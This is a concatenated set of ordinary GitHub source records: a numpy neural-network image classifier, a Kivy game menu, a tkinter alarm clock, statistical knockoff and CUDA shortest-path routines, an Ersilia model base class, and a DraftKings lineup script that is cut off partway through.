logistic function\"\"\"\r\n sg = self._sigmoid(z)\r\n return sg * (1.0 - sg)\r\n\r\n def _add_bias_unit(self, X, how='column'):\r\n \"\"\"Add bias unit (column or row of 1s) to array at index 0\"\"\"\r\n if how == 'column':\r\n X_new = np.ones((X.shape[0], X.shape[1] + 1))\r\n X_new[:, 1:] = X\r\n elif how == 'row':\r\n X_new = np.ones((X.shape[0] + 1, X.shape[1]))\r\n X_new[1:, :] = X\r\n else:\r\n raise AttributeError('`how` must be `column` or `row`')\r\n return X_new\r\n\r\n def _feedforward(self, X, w1, w2):\r\n \"\"\"Compute feedforward step\r\n\r\n Parameters\r\n -----------\r\n X : array, shape = [n_samples, n_features]\r\n Input layer with original features.\r\n w1 : array, shape = [n_hidden_units, n_features]\r\n Weight matrix for input layer -> hidden layer.\r\n w2 : array, shape = [n_output_units, n_hidden_units]\r\n Weight matrix for hidden layer -> output layer.\r\n\r\n Returns\r\n ----------\r\n a1 : array, shape = [n_samples, n_features+1]\r\n Input values with bias unit.\r\n z2 : array, shape = [n_hidden, n_samples]\r\n Net input of hidden layer.\r\n a2 : array, shape = [n_hidden+1, n_samples]\r\n Activation of hidden layer.\r\n z3 : array, shape = [n_output_units, n_samples]\r\n Net input of output layer.\r\n a3 : array, shape = [n_output_units, n_samples]\r\n Activation of output layer.\r\n\r\n \"\"\"\r\n a1 = self._add_bias_unit(X, how='column')\r\n z2 = w1.dot(a1.T)\r\n a2 = self._sigmoid(z2)\r\n a2 = self._add_bias_unit(a2, how='row')\r\n z3 = w2.dot(a2)\r\n a3 = self._sigmoid(z3)\r\n return a1, z2, a2, z3, a3\r\n\r\n def _L2_reg(self, lambda_, w1, w2):\r\n \"\"\"Compute L2-regularization cost\"\"\"\r\n return (lambda_/2.0) * (np.sum(w1[:, 1:] ** 2) +\r\n np.sum(w2[:, 1:] ** 2))\r\n\r\n def _L1_reg(self, lambda_, w1, w2):\r\n \"\"\"Compute L1-regularization cost\"\"\"\r\n return (lambda_/2.0) * (np.abs(w1[:, 1:]).sum() +\r\n np.abs(w2[:, 1:]).sum())\r\n\r\n def _get_cost(self, y_enc, output, w1, w2):\r\n \"\"\"Compute cost function.\r\n\r\n Parameters\r\n ----------\r\n y_enc : array, shape = (n_labels, n_samples)\r\n one-hot encoded class labels.\r\n output : array, shape = [n_output_units, n_samples]\r\n Activation of the output layer (feedforward)\r\n w1 : array, shape = [n_hidden_units, n_features]\r\n Weight matrix for input layer -> hidden layer.\r\n w2 : array, shape = [n_output_units, n_hidden_units]\r\n Weight matrix for hidden layer -> output layer.\r\n\r\n Returns\r\n ---------\r\n cost : float\r\n Regularized cost.\r\n\r\n \"\"\"\r\n term1 = -y_enc * (np.log(output))\r\n term2 = (1.0 - y_enc) * np.log(1.0 - output)\r\n cost = np.sum(term1 - term2)\r\n L1_term = self._L1_reg(self.l1, w1, w2)\r\n L2_term = self._L2_reg(self.l2, w1, w2)\r\n cost = cost + L1_term + L2_term\r\n return cost\r\n\r\n def _get_gradient(self, a1, a2, a3, z2, y_enc, w1, w2):\r\n \"\"\" Compute gradient step using backpropagation.\r\n\r\n Parameters\r\n ------------\r\n a1 : array, shape = [n_samples, n_features+1]\r\n Input values with bias unit.\r\n a2 : array, shape = [n_hidden+1, n_samples]\r\n Activation of hidden layer.\r\n a3 : array, shape = [n_output_units, n_samples]\r\n Activation of output layer.\r\n z2 : array, shape = [n_hidden, n_samples]\r\n Net input of hidden layer.\r\n y_enc : array, shape = (n_labels, n_samples)\r\n one-hot encoded class labels.\r\n w1 : array, shape = [n_hidden_units, n_features]\r\n Weight matrix for input layer -> hidden layer.\r\n w2 : array, shape = [n_output_units, n_hidden_units]\r\n Weight matrix for hidden layer -> output layer.\r\n\r\n Returns\r\n ---------\r\n grad1 : array, shape = [n_hidden_units, n_features]\r\n Gradient of the weight matrix w1.\r\n grad2 : array, shape = [n_output_units, n_hidden_units]\r\n Gradient of the weight matrix w2.\r\n\r\n \"\"\"\r\n # backpropagation\r\n sigma3 = a3 - y_enc\r\n z2 = self._add_bias_unit(z2, how='row')\r\n sigma2 = w2.T.dot(sigma3) * self._sigmoid_gradient(z2)\r\n sigma2 = sigma2[1:, :]\r\n grad1 = sigma2.dot(a1)\r\n grad2 = sigma3.dot(a2.T)\r\n\r\n # regularize\r\n grad1[:, 1:] += self.l2 * w1[:, 1:]\r\n grad1[:, 1:] += self.l1 * np.sign(w1[:, 1:])\r\n grad2[:, 1:] += self.l2 * w2[:, 1:]\r\n grad2[:, 1:] += self.l1 * np.sign(w2[:, 1:])\r\n\r\n return grad1, grad2\r\n\r\n def predict(self, X):\r\n \r\n \"\"\"Predict class labels\r\n\r\n Parameters\r\n -----------\r\n X : array, shape = [n_samples, n_features]\r\n Input layer with original features.\r\n\r\n Returns:\r\n ----------\r\n y_pred : array, shape = [n_samples]\r\n Predicted class labels.\r\n\r\n \"\"\"\r\n if len(X.shape) != 2:\r\n raise AttributeError('X must be a [n_samples, n_features] array.\\n'\r\n 'Use X[:,None] for 1-feature classification,'\r\n '\\nor X[[i]] for 1-sample classification')\r\n\r\n a1, z2, a2, z3, a3 = self._feedforward(X, self.w1, self.w2)\r\n y_pred = np.argmax(z3, axis=0)\r\n return y_pred\r\n\r\n def fit(self, X, y, print_progress=False):\r\n \"\"\" Learn weights from training data.\r\n\r\n Parameters\r\n -----------\r\n X : array, shape = [n_samples, n_features]\r\n Input layer with original features.\r\n y : array, shape = [n_samples]\r\n Target class labels.\r\n print_progress : bool (default: False)\r\n Prints progress as the number of epochs\r\n to stderr.\r\n\r\n Returns:\r\n ----------\r\n self\r\n\r\n \"\"\"\r\n \r\n self.cost_ = []\r\n X_data, y_data = X.copy(), y.copy()\r\n y_enc = self._encode_labels(y, self.n_output)\r\n #print 'test data'\r\n #print y_enc.shape\r\n delta_w1_prev = np.zeros(self.w1.shape)\r\n delta_w2_prev = np.zeros(self.w2.shape)\r\n\r\n for i in range(self.epochs):\r\n\r\n # adaptive learning rate\r\n self.eta /= (1 + self.decrease_const*i)\r\n\r\n if print_progress:\r\n sys.stderr.write('\\rEpoch: %d/%d' % (i+1, self.epochs))\r\n sys.stderr.flush()\r\n\r\n if self.shuffle:\r\n idx = np.random.permutation(y_data.shape[0])\r\n X_data, y_enc = X_data[idx], y_enc[:, idx]\r\n\r\n mini = np.array_split(range(y_data.shape[0]), self.minibatches)\r\n for idx in mini:\r\n\r\n # feedforward\r\n a1, z2, a2, z3, a3 = self._feedforward(X_data[idx],\r\n self.w1,\r\n self.w2)\r\n cost = self._get_cost(y_enc=y_enc[:, idx],\r\n output=a3,\r\n w1=self.w1,\r\n w2=self.w2)\r\n self.cost_.append(cost)\r\n\r\n # compute gradient via backpropagation\r\n grad1, grad2 = self._get_gradient(a1=a1, a2=a2,\r\n a3=a3, z2=z2,\r\n y_enc=y_enc[:, idx],\r\n w1=self.w1,\r\n w2=self.w2)\r\n\r\n delta_w1, delta_w2 = self.eta * grad1, self.eta * grad2\r\n self.w1 -= (delta_w1 + (self.alpha * delta_w1_prev))\r\n self.w2 -= (delta_w2 + (self.alpha * delta_w2_prev))\r\n delta_w1_prev, delta_w2_prev = delta_w1, delta_w2\r\n\r\n return self\r\n \r\n \r\ndef main(row,col,bands,path,imgpath):\r\n \r\n \r\n train_cycle,c_c,neurons=tempreader.main()\r\n print(path)\r\n \r\n \r\n nn = NeuralNetMLP(n_output=c_c,\r\n n_features= bands,\r\n n_hidden=neurons, \r\n l2=0.1, l1=0.0,\r\n epochs=train_cycle, \r\n eta=0.001, \r\n alpha=0.001,\r\n decrease_const=0.00001,\r\n minibatches=50, \r\n shuffle=True, \r\n random_state=1)\r\n \r\n \r\n \r\n \r\n \r\n \"\"\"to load label and training data here\"\"\"\r\n pixels=row*col\r\n #imgpath='mnist\\subfebformosat2'\r\n x_test = nn.ReadBilFile(imgpath,bands,pixels)\r\n \r\n '''this is to be generalised\r\n y_train = np.zeros([60], dtype=np.uint8)\r\n for i in range (10):\r\n y_train[i]=1\r\n for i in range (10):\r\n y_train[10+i]=2\r\n for i in range (10):\r\n y_train[20+i]=3\r\n for i in range (10):\r\n y_train[30+i]=4\r\n \r\n for i in range (10):\r\n y_train[40+i]=5\r\n for i in range (10):\r\n y_train[50+i]=6\r\n \r\n till here\r\n '''\r\n values=[]\r\n labels=[]\r\n flag='true'\r\n for address in path:\r\n with open(address,\"rb\") as f:\r\n click=0\r\n block = f.read()\r\n for ch in block:\r\n if flag=='true':\r\n flag='false'\r\n elif flag=='false':\r\n values.append(ch)\r\n click=click+1\r\n flag='true'\r\n labels.append(click)\r\n \r\n #print(labels)\r\n ll=len(values)\r\n #print(values)\r\n print(ll)\r\n rex=int(ll/bands)\r\n arr=np.zeros([ll], dtype=np.uint8)\r\n for i in range(ll):\r\n arr[i]=values[i]\r\n x_train=arr.reshape(rex,bands) \r\n \r\n y_train = np.zeros([rex], dtype=np.uint8)\r\n lab=1\r\n i=0\r\n for index in labels:\r\n ind=index/bands\r\n while (ind)>0:\r\n y_train[i]=lab\r\n ind=ind-1\r\n i=i+1\r\n lab=lab+1\r\n print(\"this is information of y_train\")\r\n print(y_train.shape)\r\n #print(y_train)\r\n \r\n \r\n \r\n \r\n \"\"\"loading of data ends here\"\"\"\r\n nn.fit(x_train, y_train, print_progress=True)\r\n y_test_pred=nn.predict(x_test)\r\n img=y_test_pred.reshape(row, col)\r\n plt.imshow(img)\r\n plt.show()\r\n result = Image.fromarray(((img*255)/c_c).astype('uint8'))\r\n result.save('ann_classified.jpg')\r\n print('image saved')","repo_name":"rahul-12345/ANN_CNN_FINAL_PROJECT1","sub_path":"ANNCNN/classifier_tool/ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":15058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16425084394","text":"import re\n\nfrom kivy.config import Config\nfrom kivy.core.window import Window\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.button import Button\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.widget import Widget\n\n# kivy.require('1.7.2')\n\n\n# setup graphics\nConfig.set(\"graphics\", \"resizable\", 0)\n\n# Graphics fix\nWindow.clearcolor = (0, 0, 0, 1.0)\n# Window.clearcolor = (1,0,0,1.)\n\n\nclass MyButton(Button):\n # class used to get uniform button styles\n def __init__(self, **kwargs):\n super(MyButton, self).__init__(**kwargs)\n self.font_size = Window.width * 0.018\n\n\nclass MyText(TextInput):\n # class used to get uniform button styles\n def __init__(self, **kwargs):\n super(MyText, self).__init__(**kwargs)\n self.font_size = Window.width * 0.018\n\n pat = re.compile(\"^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$\")\n\n def insert_text(self, substring, from_undo=False):\n pat = self.pat\n if \".\" in self.text:\n s = re.sub(pat, \"\", substring)\n else:\n s = \".\".join([re.sub(pat, \"\", s) for s in substring.split(\".\", 1)])\n return super(MyText, self).insert_text(s, from_undo=from_undo)\n\n\nclass SmartMenu(Widget):\n # the instance created by this class will appear\n # when the game is started for the first time\n buttonList = []\n\n def __init__(self, **kwargs):\n # create custom events first\n # creating a custom event called 'on_button_release' that will be used to pass information from the menu to the parent instance\n super(SmartMenu, self).__init__(**kwargs)\n self.layout = BoxLayout(orientation=\"vertical\")\n self.layout.background_color = [1, 1, 1, 1]\n self.layout.width = Window.width / 2\n self.layout.height = Window.height / 2\n self.layout.x = Window.width / 2 - self.layout.width / 2\n self.layout.y = Window.height / 2 - self.layout.height / 2\n self.add_widget(self.layout)\n self.register_event_type(\"on_button_release\")\n\n def on_button_release(self, *args):\n # print 'The on_button_release event was just dispatched', args\n # don't need to do anything here. needed for dispatch\n pass\n\n def callback(self, instance):\n # print('The button %s is being pressed' % instance.text)\n self.buttonText = instance.text\n # dispatching the callback event 'on_button_release' to tell teh parent instance to read the button text\n self.dispatch(\"on_button_release\")\n\n def addButtons(self):\n self.txt = MyText(text=\"192.168.0.100\", multiline=False)\n self.layout.add_widget(self.txt)\n for k in self.buttonList:\n tmpBtn = MyButton(text=k)\n tmpBtn.background_color = [0.4, 0.4, 0.4, 0.4]\n # when the button is released the callback function is called\n tmpBtn.bind(on_release=self.callback)\n self.layout.add_widget(tmpBtn)\n\n def buildUp(self):\n # self.colorWindow()\n self.addButtons()\n\n\nclass SmartStartMenu(SmartMenu):\n # setup the menu button names\n buttonList = [\"Join\", \"Start\"]\n\n def __init__(self, **kwargs):\n super(SmartStartMenu, self).__init__(**kwargs)\n self.layout = BoxLayout(orientation=\"vertical\")\n self.layout.background_color = [1, 1, 1, 1]\n self.layout.width = Window.width / 5\n self.layout.height = Window.height / 5\n self.layout.x = Window.width / 2 - self.layout.width / 2\n self.layout.y = Window.height / 2 - self.layout.height / 2\n self.add_widget(self.layout)\n\n self.msg = Label(text=\"Sequence\")\n self.msg.font_size = Window.width * 0.07\n self.msg.pos = (Window.width * 0.45, Window.height * 0.75)\n self.add_widget(self.msg)\n","repo_name":"akhipachi/Sequence","sub_path":"Game_kivy/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6641457554","text":"from tkinter import *\r\nfrom PIL import ImageTk,Image\r\nimport time\r\nimport pygame as pg\r\n\r\npg.mixer.init()\r\n\r\nroot=Tk()\r\nroot.title(\"Digital Alarm Clock Of 24 Hour\")\r\nroot.geometry(\"500x500\")\r\n\r\nalarmtime =StringVar()\r\n\r\ndef alarm():\r\n Alarm = alarmtime.get()\r\n AlarmT = Alarm\r\n CurrentTime = time.strftime(\"%H:%M\")\r\n\r\n while AlarmT != CurrentTime:\r\n CurrentTime = time.strftime(\"%H:%M\")\r\n\r\n if AlarmT == CurrentTime:\r\n pg.mixer.music.load('GUITAR.WAV')\r\n pg.mixer.music.play()\r\n\r\ndef stop():\r\n\tpg.mixer.music.stop()\r\n\r\nframe = Frame(root, width=60, height=40)\r\nframe.place(x=100,y=80)\r\n\r\n# Create an object of tkinter ImageTk\r\nimg = ImageTk.PhotoImage(Image.open(\"images.jpg\"))\r\n\r\n# Create a Label Widget to display the text or Image\r\nlabel = Label(frame, image = img)\r\nlabel.pack()\r\n\r\nLabel(root,text=\"Digital Alarm Clock\",font=\"Times 24 bold\").place(x=100,y=30)\r\n\r\nLabel(root,text=\"Enter Time : \",font=\"Times 18 \").place(x=80,y=300)\r\nEntry(root,textvariable=alarmtime,width=18).place(x=250,y=310)\r\n\r\n\r\nButton(root,text=\"Set Alarm\",font=\"Times 18 bold\",command=alarm).place(x=250,y=360)\r\nButton(root,text=\"Ok\",font=\"Times 18 bold\",command=stop).place(x=100,y=360)\r\n\r\nLabel(root,text=\"Click Ok To Stop Alarm\",font=\"Times 14 \").place(x=80,y=420)\r\n\r\nroot.mainloop()","repo_name":"abubakarsidiq14/Digital-Alarm-Clock","sub_path":"Alarm.py","file_name":"Alarm.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"32174009503","text":"# For DDLK, one needs to install the package from https://github.com/rajesh-lab/ddlk\r\n\r\nimport numpy as np\r\nfrom src.gaussian import GaussianKnockoffs\r\nfrom src.machine import KnockoffGenerator\r\nimport argparse\r\nimport torch\r\nfrom benchmark.data_ddlk import get_data\r\nimport pytorch_lightning as pl\r\nfrom ddlk import ddlk, mdn, utils\r\n\r\ndef mmd_knockoff(xTrain, xTest, distType = 'MultivariateStudentT'):\r\n n, d = xTrain.shape\r\n SigmaHat = np.cov(xTrain, rowvar=False)\r\n second_order = GaussianKnockoffs(SigmaHat, mu=np.mean(xTrain,0), method=\"sdp\")\r\n corr_g = (np.diag(SigmaHat) - np.diag(second_order.Ds)) / np.diag(SigmaHat) \r\n if distType == \"GaussianAR1\": gamma = 1\r\n if distType == \"GaussianMixtureAR1\": gamma = 1\r\n if distType == \"MultivariateStudentT\": gamma = 1\r\n if distType == \"SparseGaussian\": gamma = 1\r\n pars={\"epochs\":100, \r\n \"epoch_length\": 20, \r\n \"d\": d,\r\n \"dim_h\": int(6*d),\r\n \"batch_size\": int(n/4), \r\n \"lr\": 0.01, \r\n \"lr_milestones\": [100],\r\n \"GAMMA\":gamma, \r\n \"losstype\": 'mmd',\r\n \"epsilon\":None,\r\n \"target_corr\": corr_g,\r\n \"sigmas\":[1.,2.,4.,8.,16.,32.,64.,128.]\r\n }\r\n \r\n mmd_Machine = KnockoffGenerator(pars)\r\n mmd_Machine.train(xTrain)\r\n xTestmmd = [mmd_Machine.generate(xTest[i]) for i in range(len(xTest))] \r\n return xTestmmd\r\n\r\n## DDLK knockoff\r\ndef ddlk_knockoff(xTrain, xTest, distType = 'MultivariateStudentT'):\r\n trainloader, valloader, testloader = get_data(xTrain)\r\n pl.trainer.seed_everything(42)\r\n num_gpus = torch.cuda.device_count()\r\n gpus = [0] if num_gpus > 0 else None\r\n \r\n ((X_mu, ), (X_sigma, )) = utils.get_two_moments(trainloader)\r\n hparams = argparse.Namespace(X_mu=X_mu, X_sigma=X_sigma)\r\n \r\n q_joint = mdn.MDNJoint(hparams)\r\n trainer = pl.Trainer(max_epochs=50, num_sanity_val_steps=1, weights_summary=None, deterministic=True, gpus=gpus)\r\n trainer.fit(q_joint,train_dataloader= trainloader,val_dataloaders=[valloader])\r\n \r\n hparams = argparse.Namespace(X_mu=X_mu, X_sigma=X_sigma, reg_entropy=0.01)\r\n q_knockoff = ddlk.DDLK(hparams, q_joint=q_joint)\r\n \r\n trainer = pl.Trainer(max_epochs=50,\r\n num_sanity_val_steps=1,\r\n deterministic=True,\r\n gradient_clip_val=0.5,\r\n weights_summary=None, gpus=gpus)\r\n \r\n trainer.fit(q_knockoff,train_dataloader=trainloader, val_dataloaders=[valloader])\r\n \r\n xTestddlk =[q_knockoff.sample(torch.tensor(xTest[i], dtype=torch.float32)).detach().cpu().numpy() for i in range(len(xTest))]\r\n return xTestddlk\r\n\r\n## Second-order knockoff\r\ndef second_kncokoff(xTrain, xTest, distType = 'MultivariateStudentT'):\r\n SigmaHat = np.cov(xTrain, rowvar=False)\r\n second_order = GaussianKnockoffs(SigmaHat, mu=np.mean(xTrain,0), method=\"sdp\")\r\n xTestSecond = [second_order.generate(xTest[i]) for i in range(len(xTest))] \r\n return xTestSecond\r\n","repo_name":"ShoaibBinMasud/soft-rank-energy-and-applications","sub_path":"benchmark/mmd_second_order_ddlk.py","file_name":"mmd_second_order_ddlk.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24912112496","text":"from time import time\r\nimport numpy as np\r\n\r\nfrom classes.result import Result\r\nfrom utils.settings import INF\r\nfrom utils.debugger import Logger\r\n\r\nimport pycuda.autoinit\r\nimport pycuda.driver as drv\r\nfrom pycuda.compiler import SourceModule\r\n\r\nlogger = Logger(__name__)\r\n\r\ndef edge(para):\r\n \"\"\"\r\n function: \r\n use edgeSet in GPU to solve the MSSP. (more info please see the developer documentation).\r\n \r\n parameters: \r\n class, Parameter object. (see the 'sparry/classes/parameter.py/Parameter').\r\n \r\n return: \r\n class, Result object. (see the 'sparry/classes/result.py/Result').\r\n \"\"\"\r\n\r\n logger.debug(\"turning to func edge-gpu-mssp\")\r\n\r\n with open('./method/mssp/cu/edge.cu', 'r', encoding = 'utf-8') as f:\r\n cuf = f.read()\r\n mod = SourceModule(cuf)\r\n\r\n t1 = time()\r\n\r\n edgeSet, n, m, srclist, pathRecordBool = para.graph.graph, para.graph.n, para.graph.m, para.srclist, para.pathRecordBool\r\n src, des, w = edgeSet[0], edgeSet[1], edgeSet[2] \r\n\r\n if para.BLOCK != None:\r\n BLOCK = para.BLOCK\r\n else:\r\n BLOCK = (1024, 1, 1)\r\n \r\n if para.GRID != None:\r\n GRID = para.GRID\r\n else:\r\n GRID = (128, 1)\r\n\r\n # source vertex number\r\n srcNum = np.int32(len(srclist))\r\n srclist = np.copy(srclist).astype(np.int32)\r\n\r\n # malloc \r\n dist = np.full((n * srcNum, ), INF).astype(np.int32)\r\n\r\n # init each source vertex, and this time i is not vertex i, but i-th source in srclist.\r\n for i in range(srcNum): \r\n dist[i * n + srclist[i]] = np.int32(0) \r\n \r\n edge_mssp_cuda_fuc = mod.get_function('edge')\r\n\r\n # run!\r\n edge_mssp_cuda_fuc(drv.In(src),\r\n drv.In(des),\r\n drv.In(w), \r\n drv.In(n),\r\n drv.In(m),\r\n drv.In(srcNum),\r\n drv.InOut(dist),\r\n block = BLOCK,\r\n grid = GRID)\r\n\r\n timeCost = time() - t1\r\n \r\n # result\r\n result = Result(dist = dist, timeCost = timeCost, graph = para.graph)\r\n\r\n if pathRecordBool:\r\n result.calcPath()\r\n\r\n return result\r\n","repo_name":"qriosa/SParry","sub_path":"method/mssp/edge_gpu.py","file_name":"edge_gpu.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"37423915819","text":"import os\nimport json\n\nfrom .. import ErsiliaBase\nfrom ..hub.content.slug import Slug\nfrom ..hub.fetch import STATUS_FILE, DONE_TAG\nfrom ..default import IS_FETCHED_FROM_DOCKERHUB_FILE\n\nfrom ..utils.exceptions_utils.exceptions import InvalidModelIdentifierError\nfrom .. import throw_ersilia_exception\n\n\nclass ModelBase(ErsiliaBase):\n \"\"\"Base class of a Model.\"\"\"\n\n @throw_ersilia_exception\n def __init__(self, model_id_or_slug=None, repo_path=None, config_json=None):\n ErsiliaBase.__init__(self, config_json=config_json, credentials_json=None)\n if model_id_or_slug is None and repo_path is None:\n raise Exception\n if model_id_or_slug is not None and repo_path is not None:\n raise Exception\n if model_id_or_slug is not None:\n self.text = model_id_or_slug\n slugger = Slug()\n\n if slugger.is_slug(model_id_or_slug):\n self.slug = model_id_or_slug\n self.model_id = slugger.encode(self.slug)\n else:\n self.model_id = model_id_or_slug\n self.slug = slugger.decode(self.model_id)\n if not self.is_valid():\n raise InvalidModelIdentifierError(model=self.text)\n\n if repo_path is not None:\n self.logger.debug(\"Repo path specified: {0}\".format(repo_path))\n self.logger.debug(\"Absolute path: {0}\".format(os.path.abspath(repo_path)))\n self.text = self._get_model_id_from_path(repo_path)\n self.model_id = self.text\n slug = self._get_slug_if_available(repo_path)\n if slug is None:\n self.slug = \"my-model\"\n else:\n self.slug = slug\n\n def _get_model_id_from_path(self, repo_path):\n return os.path.basename(os.path.abspath(repo_path)).rstrip(\"/\")\n\n def _get_slug_if_available(self, repo_path):\n metadata_json = os.path.join(repo_path, \"metadata.json\")\n if os.path.exists(metadata_json):\n with open(metadata_json, \"r\") as f:\n data = json.load(f)\n slug = data[\"Slug\"]\n if slug == \"\":\n return None\n else:\n return slug\n else:\n return None\n\n def is_valid(self):\n if self.model_id is None or self.slug is None:\n return False\n else:\n return True\n\n def _is_available_locally_from_status(self):\n fetch_status_file = os.path.join(self._dest_dir, self.model_id, STATUS_FILE)\n if not os.path.exists(fetch_status_file):\n self.logger.debug(\"No status file exists\")\n is_fetched = False\n else:\n with open(fetch_status_file, \"r\") as f:\n status = json.load(f)\n is_fetched = status[DONE_TAG]\n self.logger.debug(\"Is fetched: {0}\".format(is_fetched))\n return is_fetched\n\n def _is_available_locally_from_dockerhub(self):\n from_dockerhub_file = os.path.join(\n self._dest_dir, self.model_id, IS_FETCHED_FROM_DOCKERHUB_FILE\n )\n if not os.path.exists(from_dockerhub_file):\n return False\n else:\n return True\n\n def is_available_locally(self):\n bs = self._is_available_locally_from_status()\n bd = self._is_available_locally_from_dockerhub()\n if bs or bd:\n return True\n else:\n return False\n\n def was_fetched_from_dockerhub(self):\n from_dockerhub_file = os.path.join(\n self._dest_dir, self.model_id, IS_FETCHED_FROM_DOCKERHUB_FILE\n )\n if not os.path.exists(from_dockerhub_file):\n return False\n with open(from_dockerhub_file, \"r\") as f:\n data = json.load(f)\n return data[\"docker_hub\"]\n","repo_name":"ersilia-os/ersilia","sub_path":"ersilia/core/modelbase.py","file_name":"modelbase.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"37"} +{"seq_id":"29731497573","text":"#DraftKings Daily Drafting Application\n#Authored by Kieran Chang\n\n\"\"\"\nHIGH LEVEL\n\nPull in Raw player data from API\nProcess data to determine each player's projected scores\nCreate lineup of players with highest projected for necessary positions\n NOTE: Ignore Salary Cap\nWhile Lineup total Salary > Salary Cap, Update Lineup with \"next best\" for a single position\n \"Next Best\" determined by having smallest projection gap among ALL positions while still having lower salary\nOutput final lineup\n\"\"\"\n\"\"\"\nMEDIUM LEVEL\n\nplayerHolder[] = playerData()\nfreeAgents = calcProj(playerHolder[])\nlineup = createLineup(freeAgents)\nfor all players in lineup\n trimPool(lineup.player.position, lineup.player.salary)\nif total lineup.salary > salary cap\n lineup1 = createLineup(freeAgents)\nelse\n print lineUp\n END\nwhile total lineup.salary > salary cap\n holder[] findMinDif(lineup, lineup1)\n swap(holder[0], holder[1], lineup1, lineup2)\n updateLine(lineup1, holder[0].pos)\nprint lineup\nEND\n\"\"\"\n\"\"\" \nFUNCTIONS\n\nsendRequest()\n pull down data from API\n\ncalcProj(playerHolder)\n Let X be games played where X = 0 is most recent, 0 <= X <= 50\n for all players\n for all player.yards[X]\n player.proj += ((1 + (count(player.yards) * .005) - (X * .01)) * player.yards[X] * (pt / yard))\n player.proj = player.proj / count(player.yards)\n return all players\n\ncreateLineup(freeAgents)\n for all positions\n choice = findMax(players, position)\n lineup += choice\n players.remove(choice)\n\nfindmax(players, position)\n for all players with given position\n find max projected points\n return player index\n\ntrimPool(position, salary1)\n for all players with given position in freeAgents\n remove all freeAgents where player.salary >= salary1\n\nfindMinDif(lineup1, lineup2)\n for player1 in Lineup1\n\t for player2 in Lineup2\n\t\t if player1.pos = player2.pos && (player1.proj - player2.proj) < holder.proj\n\t\t holder1 = player1\n\t\t\t holder2 = player2\n\nswap(player1, player2, lineup1, lineup2)\n lineup1.remove(player1)\n lineup1 += player2\n lineup2.remove(player2)\n\nupdateLine(lineup, position)\n choice = findMax(freeAgents, position)\n lineup += choice\n freeAgents.remove(choice)\n trimPool(freeAgents, position, choice.salary)\n\"\"\"\n\"\"\"\nOBJECT DEFINITION\n\nCURRENTLY NOT IN USE\n\nPLAYER OBJECT DEFINITION(assuming all data must be stored in Player Objects rather than raw database)\n Name: Player's name\n Projected Points: number of points projected for the coming week\n Salary: Amount of money required for player\n Position: QB, WR, R, K, D, F, TE\n RYards: Array of RUSHING yards over past X number of games\n RecYards: Array of RECEIVING yards over past X number of games\n PYards: Array of PASSING yards over past X number of games(only for QB, 0 for others)\n\nPROCESSEDPLAYER OBJECT DEFINITION\n Name: Player's Name\n Pos: Player Position\n Proj: Projected Points\n Sal: Player's Salary\n\"\"\"\nimport base64\nimport requests\nimport json\n\n# class ProcessedPlayer(object):\n# name = \"\"\n# pos = \"\"\n# proj = 0\n# sal = 0\n#\n# def __init__(self, name, pos, proj, sal):\n# self.name = name\n# self.pos = pos\n# self.proj = proj\n# self.sal = sal\n\nPOSLIST = [\"QB\", \"WR\", 'R', 'K', 'D', 'F', \"TE\"]\n\ndef send_request():\n # Request\n\n try:\n response = requests.get(\n url = ' https://api.mysportsfeeds.com/v2.1/pull/nfl/2019-regular/week/1/player_gamelogs.json' ,\n params = {\n \"fordate\": \"20161121\"\n },\n headers = {\n \"Authorization\": \"Basic \" + base64.b64encode('{}:{}'.format('cc0ccd01-3831-448a-a562-fd6585','MYSPORTSFEEDS').encode('utf-8')).decode('ascii')\n }\n )\n\n with open('players.json', 'w', encoding = 'utf-8') as File:\n json.dump(format(response.content), File)\n\n except requests.exceptions.RequestException:\n print('HTTP Request failed')\n\n\"\"\"\ncalculate player projected point\nCreate weighted average of yards per game and multiply by points per yard\n Points per yard are created as Constants\nfreeAgents: list of every player not in a lineUp\n\"\"\"\ndef calcProjection(freeAgents):\n #TODO: Does not include defensive stats\n for player in freeAgents:\n for game in player.games:\n count += 1\n\n tmpCount = count\n for game in player.games:\n total = (1 + (tmpCount/200)) * (game.passingyards * PPPY + game.rushingyards * PPRY + game.receivingyards *\n PPRecY + game.kickingyards * PPKY + game.td * PPTD + game.receptions * PPR)\n tmpCount -= 2\n player.proj = (total/count)\n\n\"\"\"\ncreateLineup(freeAgents)\n for all positions\n choice = findMax(players, position)\n lineup += choice\n players.remove(choice)\n\"\"\"\ndef createLineup(freeAgents):\n lineup = []\n for position in POSLIST:\n choice = findMax(freeAgents, position)\n lineup += choice\n freeAgents.delete(choice)\n return lineup\n\n\"\"\"\nfind the player with the max projected points\nplayerList: List of ProcessedPlayer Objects\npos: Required Position of the Player to return.\nreturns ProcessedPlayer Object\n\"\"\"\ndef findMax(playerList, pos):\n #load tmp with first player with given position\n if x.pos != pos:\n tmp = x\n\n for x in playerList:\n #find next player with given position\n if x.pos != pos:\n print('3')\n continue\n\n #if current player projection is greater than tmp projection, overwrite tmp\n if x.proj > tmp.proj:\n tmp = x\n print('1')\n\n return tmp\n\n\"\"\"\nRemove players from the freeAgent list with >= salary compared to current lineup selections\npos: position of current player in lineup\nsalary: salary of current player in lineup\n\"\"\"\ndef trimPool(pos,salary):\n for player in freeAgents:\n if player.position == pos:\n if player.salary >= salary:\n freeAgents.remove(player)\n\n\"\"\"\nFind the player (in the same position) with minimum difference in projected points between the two lineups\nlineup1: current lineup\nlineup2: second highest point total lineup\n\"\"\"\ndef findMinDif(lineup1, lineup2):\n holder = lineup1[0].projection\n for p in lineup1:\n for p2 in lineup2:\n if p.position == 